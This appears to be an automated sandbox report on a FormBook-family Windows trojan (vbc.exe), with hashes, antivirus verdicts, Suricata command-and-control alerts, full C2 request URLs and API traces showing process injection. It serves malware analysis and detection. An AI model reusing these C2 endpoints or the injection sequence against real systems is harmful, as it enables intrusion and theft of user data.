popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

vbc.exe

NSIS UPX Malicious Library PE File DLL OS Processor Check PE32
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 Nov. 3, 2021, 3:03 p.m. Nov. 3, 2021, 3:05 p.m.
Size 281.2KB
Type PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5 c6def7e067895d7c6f4b0f78270b9e2c
SHA256 d78094f3b6eac87e2d4249671bdc4e044afb31e2e78aac8f2db7186c6d5b6db1
CRC32 E0762C9F
ssdeep 6144:wBlL/cvBjyPIYTRrajr0/mLdVRAuWhgeWSMrlmUfHTu4UD:CevsPHgs/mvzprlfS4Y
Yara
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)
  • Malicious_Library_Zero - Malicious_Library
  • UPX_Zero - UPX packed file
  • NSIS_Installer - Null Soft Installer

Name Response Post-Analysis Lookup
www.fraserstephendop.com
A 198.54.117.218
A 198.54.117.216
A 198.54.117.217
CNAME parkingpage.namecheap.com
A 198.54.117.215
A 198.54.117.212
A 198.54.117.210
A 198.54.117.211
198.54.117.212
www.thevishantiverse.art
A 34.102.136.180
CNAME thevishantiverse.art
34.102.136.180
www.anthemmg.com
www.xc6811.com
CNAME xctz962.xc5237.com
A 67.211.65.42
67.211.65.42
www.xn--schwche-8wa.com
A 194.150.248.6
194.150.248.6
www.craftstockco.com
www.guserq.com
A 34.102.221.37
34.102.221.37
www.lowestfars.com
A 154.210.71.198
154.210.71.198
www.passivemen.com
CNAME HDRedirect-LB7-5a03e1c2772e1c9c.elb.us-east-1.amazonaws.com
A 3.223.115.185
3.223.115.185
www.bagwashs.com
www.achyutlifesciences.com
A 185.151.30.171
185.151.30.171
www.surfsolutions.info
A 138.201.145.141
138.201.145.141
www.unlimitedrehab.com
A 199.59.243.200
199.59.242.153
www.midatlanticbath.com
A 208.91.197.27
208.91.197.27
www.mchaskellproperties.com
A 88.214.207.96
88.214.207.96
www.wyse-solutions.com
CNAME ssl2.site123.com
CNAME caddy-2-4-3-a154c717787f8b4f.elb.us-east-1.amazonaws.com
A 54.156.84.168
A 3.87.84.223
A 54.145.162.195
A 54.157.107.32
54.157.107.32
www.murrayforcongress.com
A 154.64.119.178
154.64.119.178
IP Address Status Action
138.201.145.141 Active Moloch
154.210.71.198 Active Moloch
154.64.119.178 Active Moloch
164.124.101.2 Active Moloch
185.151.30.171 Active Moloch
194.150.248.6 Active Moloch
198.54.117.217 Active Moloch
199.59.243.200 Active Moloch
208.91.197.27 Active Moloch
3.223.115.185 Active Moloch
34.102.136.180 Active Moloch
34.102.221.37 Active Moloch
54.156.84.168 Active Moloch
67.211.65.42 Active Moloch
88.214.207.96 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.102:49168 -> 34.102.221.37:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49168 -> 34.102.221.37:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49168 -> 34.102.221.37:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49165 -> 208.91.197.27:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49165 -> 208.91.197.27:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49165 -> 208.91.197.27:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49166 -> 34.102.136.180:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49166 -> 34.102.136.180:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49166 -> 34.102.136.180:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49173 -> 194.150.248.6:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49173 -> 194.150.248.6:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49173 -> 194.150.248.6:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49171 -> 67.211.65.42:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49171 -> 67.211.65.42:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49171 -> 67.211.65.42:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49167 -> 3.223.115.185:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49167 -> 3.223.115.185:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49167 -> 3.223.115.185:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49177 -> 88.214.207.96:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49177 -> 88.214.207.96:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49177 -> 88.214.207.96:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49170 -> 154.210.71.198:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49170 -> 154.210.71.198:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49170 -> 154.210.71.198:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49164 -> 199.59.243.200:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49164 -> 199.59.243.200:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49169 -> 138.201.145.141:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49164 -> 199.59.243.200:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49169 -> 138.201.145.141:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49169 -> 138.201.145.141:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49172 -> 154.64.119.178:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49176 -> 185.151.30.171:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49172 -> 154.64.119.178:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49176 -> 185.151.30.171:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49172 -> 154.64.119.178:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49176 -> 185.151.30.171:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49174 -> 198.54.117.217:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49174 -> 198.54.117.217:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49174 -> 198.54.117.217:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49175 -> 54.156.84.168:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49175 -> 54.156.84.168:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49175 -> 54.156.84.168:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section .ndata
suspicious_features GET method with no useragent header suspicious_request GET http://www.unlimitedrehab.com/kqna/?ETmlTT7=cFNgKBTbA1svsN6cC8/+W5UTP+1BdxdtTipUKJnf15V+/a8Yee6hrfZJvGg98qTC6E/a5FqG&4hbDp=VR-XC
suspicious_features GET method with no useragent header suspicious_request GET http://www.midatlanticbath.com/kqna/?ETmlTT7=ggB/CL/KYRtKG6XlF3MzMphhLgqrG506l6vnNW5K6bJVc8waEANRFYYD3RhOV4cBkcToPXaa&4hbDp=VR-XC
suspicious_features GET method with no useragent header suspicious_request GET http://www.thevishantiverse.art/kqna/?ETmlTT7=/f/IcA6eDDPBLaOZcHBfDlfAbij2pImhanWAYHxYX02BEqYlDUoXYvshQCmTuxpCPFsxIcfP&4hbDp=VR-XC
suspicious_features GET method with no useragent header suspicious_request GET http://www.passivemen.com/kqna/?ETmlTT7=2h8tZaBaqG8Vl2xBtMM+A2YjN0Obm4YirwD1CLjU2X2DOC8Dtq2uVUyD4drZoYF5JZiqmQ5d&4hbDp=VR-XC
suspicious_features GET method with no useragent header suspicious_request GET http://www.guserq.com/kqna/?ETmlTT7=hkljuxSRvROwAr3jOVASm+JiIwGbCIPKtEIHIc5pEdCnOjI0REO2kzvTjKpMbmW8lyN5Fvcx&4hbDp=VR-XC
suspicious_features GET method with no useragent header suspicious_request GET http://www.surfsolutions.info/kqna/?ETmlTT7=dcnZeOVVJSfvUaco8qQNZ9XrhbJ3we+xyEUMa9yoWpEuWq2eXXPIXA5TkXgJFjsZU/Pq8NER&4hbDp=VR-XC
suspicious_features GET method with no useragent header suspicious_request GET http://www.xc6811.com/kqna/?ETmlTT7=68tkQBx2PKwjxkmTrTISIwTGVAu3KilizPvStMoPf3ssHs+zxw4HFFNuRbC9l1HBdvU0IxLi&4hbDp=VR-XC
suspicious_features GET method with no useragent header suspicious_request GET http://www.murrayforcongress.com/kqna/?ETmlTT7=sLlzUFwwCG01/Bjx4l7u57/BeGZo5XBBaU9ly2fDmjFHIkYwos6SPmKFBJJn77rHLA1IDkNp&4hbDp=VR-XC
suspicious_features GET method with no useragent header suspicious_request GET http://www.xn--schwche-8wa.com/kqna/?ETmlTT7=MFi57/eqtoCpgANzpJ5I2CZTyNyM1lKJdbuLxUdqgNtwARuCj0+Hp0N82MRQtNs2oFSvYj76&4hbDp=VR-XC
suspicious_features GET method with no useragent header suspicious_request GET http://www.fraserstephendop.com/kqna/?ETmlTT7=/ubmoBp65Okyuu3LQpd6BICjkbw0SXb2/UwCCZwJ/Fe1H/pHrLEpRm6qotblqBtYRSTWmjxF&4hbDp=VR-XC
suspicious_features GET method with no useragent header suspicious_request GET http://www.wyse-solutions.com/kqna/?ETmlTT7=JxhOHZPgXW3wVIIiPz5EXxBB9rBqG2gEAu7RnG3JMDt4Sy+2JcpywouTBsUxcEIaQvhPOtS+&4hbDp=VR-XC
suspicious_features GET method with no useragent header suspicious_request GET http://www.achyutlifesciences.com/kqna/?ETmlTT7=asWl3V4IF2Q2DWn67+zvcIQTEiu5x496a9UiR3whzNCG2SwZhTxwEV7pZSN2Dnrub4ZDXyCK&2d=2dkPehNHB6nt6Tl
suspicious_features GET method with no useragent header suspicious_request GET http://www.mchaskellproperties.com/kqna/?ETmlTT7=C34+CtfDjeKkmIVNjuli0xPH7zBhSWPth00NeQR/4hBo/hYfKhN+A/5nMzpMgd7j4fsrbe1I&2d=2dkPehNHB6nt6Tl
request GET http://www.unlimitedrehab.com/kqna/?ETmlTT7=cFNgKBTbA1svsN6cC8/+W5UTP+1BdxdtTipUKJnf15V+/a8Yee6hrfZJvGg98qTC6E/a5FqG&4hbDp=VR-XC
request GET http://www.midatlanticbath.com/kqna/?ETmlTT7=ggB/CL/KYRtKG6XlF3MzMphhLgqrG506l6vnNW5K6bJVc8waEANRFYYD3RhOV4cBkcToPXaa&4hbDp=VR-XC
request GET http://www.thevishantiverse.art/kqna/?ETmlTT7=/f/IcA6eDDPBLaOZcHBfDlfAbij2pImhanWAYHxYX02BEqYlDUoXYvshQCmTuxpCPFsxIcfP&4hbDp=VR-XC
request GET http://www.passivemen.com/kqna/?ETmlTT7=2h8tZaBaqG8Vl2xBtMM+A2YjN0Obm4YirwD1CLjU2X2DOC8Dtq2uVUyD4drZoYF5JZiqmQ5d&4hbDp=VR-XC
request GET http://www.guserq.com/kqna/?ETmlTT7=hkljuxSRvROwAr3jOVASm+JiIwGbCIPKtEIHIc5pEdCnOjI0REO2kzvTjKpMbmW8lyN5Fvcx&4hbDp=VR-XC
request GET http://www.surfsolutions.info/kqna/?ETmlTT7=dcnZeOVVJSfvUaco8qQNZ9XrhbJ3we+xyEUMa9yoWpEuWq2eXXPIXA5TkXgJFjsZU/Pq8NER&4hbDp=VR-XC
request GET http://www.xc6811.com/kqna/?ETmlTT7=68tkQBx2PKwjxkmTrTISIwTGVAu3KilizPvStMoPf3ssHs+zxw4HFFNuRbC9l1HBdvU0IxLi&4hbDp=VR-XC
request GET http://www.murrayforcongress.com/kqna/?ETmlTT7=sLlzUFwwCG01/Bjx4l7u57/BeGZo5XBBaU9ly2fDmjFHIkYwos6SPmKFBJJn77rHLA1IDkNp&4hbDp=VR-XC
request GET http://www.xn--schwche-8wa.com/kqna/?ETmlTT7=MFi57/eqtoCpgANzpJ5I2CZTyNyM1lKJdbuLxUdqgNtwARuCj0+Hp0N82MRQtNs2oFSvYj76&4hbDp=VR-XC
request GET http://www.fraserstephendop.com/kqna/?ETmlTT7=/ubmoBp65Okyuu3LQpd6BICjkbw0SXb2/UwCCZwJ/Fe1H/pHrLEpRm6qotblqBtYRSTWmjxF&4hbDp=VR-XC
request GET http://www.wyse-solutions.com/kqna/?ETmlTT7=JxhOHZPgXW3wVIIiPz5EXxBB9rBqG2gEAu7RnG3JMDt4Sy+2JcpywouTBsUxcEIaQvhPOtS+&4hbDp=VR-XC
request GET http://www.achyutlifesciences.com/kqna/?ETmlTT7=asWl3V4IF2Q2DWn67+zvcIQTEiu5x496a9UiR3whzNCG2SwZhTxwEV7pZSN2Dnrub4ZDXyCK&2d=2dkPehNHB6nt6Tl
request GET http://www.mchaskellproperties.com/kqna/?ETmlTT7=C34+CtfDjeKkmIVNjuli0xPH7zBhSWPth00NeQR/4hBo/hYfKhN+A/5nMzpMgd7j4fsrbe1I&2d=2dkPehNHB6nt6Tl
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 612
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x74282000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 612
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x74356000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b70000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\nszECD2.tmp\vtlgn.dll
file C:\Users\test22\AppData\Local\Temp\nszECD2.tmp\vtlgn.dll
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000228
1 0 0
Process injection Process 612 called NtSetContextThread to modify thread in remote process 2188
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 2005139908
registers.esp: 1638384
registers.edi: 0
registers.eax: 4314112
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000224
process_identifier: 2188
1 0 0
Lionic Trojan.Win32.Noon.l!c
Elastic malicious (high confidence)
MicroWorld-eScan Dropped:Trojan.GenericKDZ.79521
FireEye Generic.mg.c6def7e067895d7c
Cylance Unsafe
BitDefender Dropped:Trojan.GenericKDZ.79521
Cybereason malicious.067895
Cyren W32/Injector.AMK.gen!Eldorado
Symantec Packed.Generic.606
ESET-NOD32 a variant of Win32/Injector.EQKW
Paloalto generic.ml
Kaspersky UDS:Trojan-Spy.Win32.Noon.gen
Ad-Aware Dropped:Trojan.GenericKDZ.79521
Sophos Generic ML PUA (PUA)
McAfee-GW-Edition BehavesLike.Win32.Puper.dc
Emsisoft Dropped:Trojan.GenericKDZ.79521 (B)
SentinelOne Static AI - Malicious PE
Microsoft Trojan:Script/Phonzy.C!ml
GData Dropped:Trojan.GenericKDZ.79521
Cynet Malicious (score: 100)
MAX malware (ai score=87)
Malwarebytes Trojan.Injector
APEX Malicious
Ikarus Trojan.NSIS.Agent.S
Fortinet W32/Injector.EOLV!tr
AVG Win32:InjectorX-gen [Trj]
Avast Win32:InjectorX-gen [Trj]
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2220
thread_handle: 0x00000224
process_identifier: 2188
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\vbc.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\vbc.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\vbc.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000228
1 1 0

NtGetContextThread

 thread_handle: 0x00000224
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000228
1 0 0

NtSetContextThread

 registers.eip: 2005139908
registers.esp: 1638384
registers.edi: 0
registers.eax: 4314112
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000224
process_identifier: 2188
1 0 0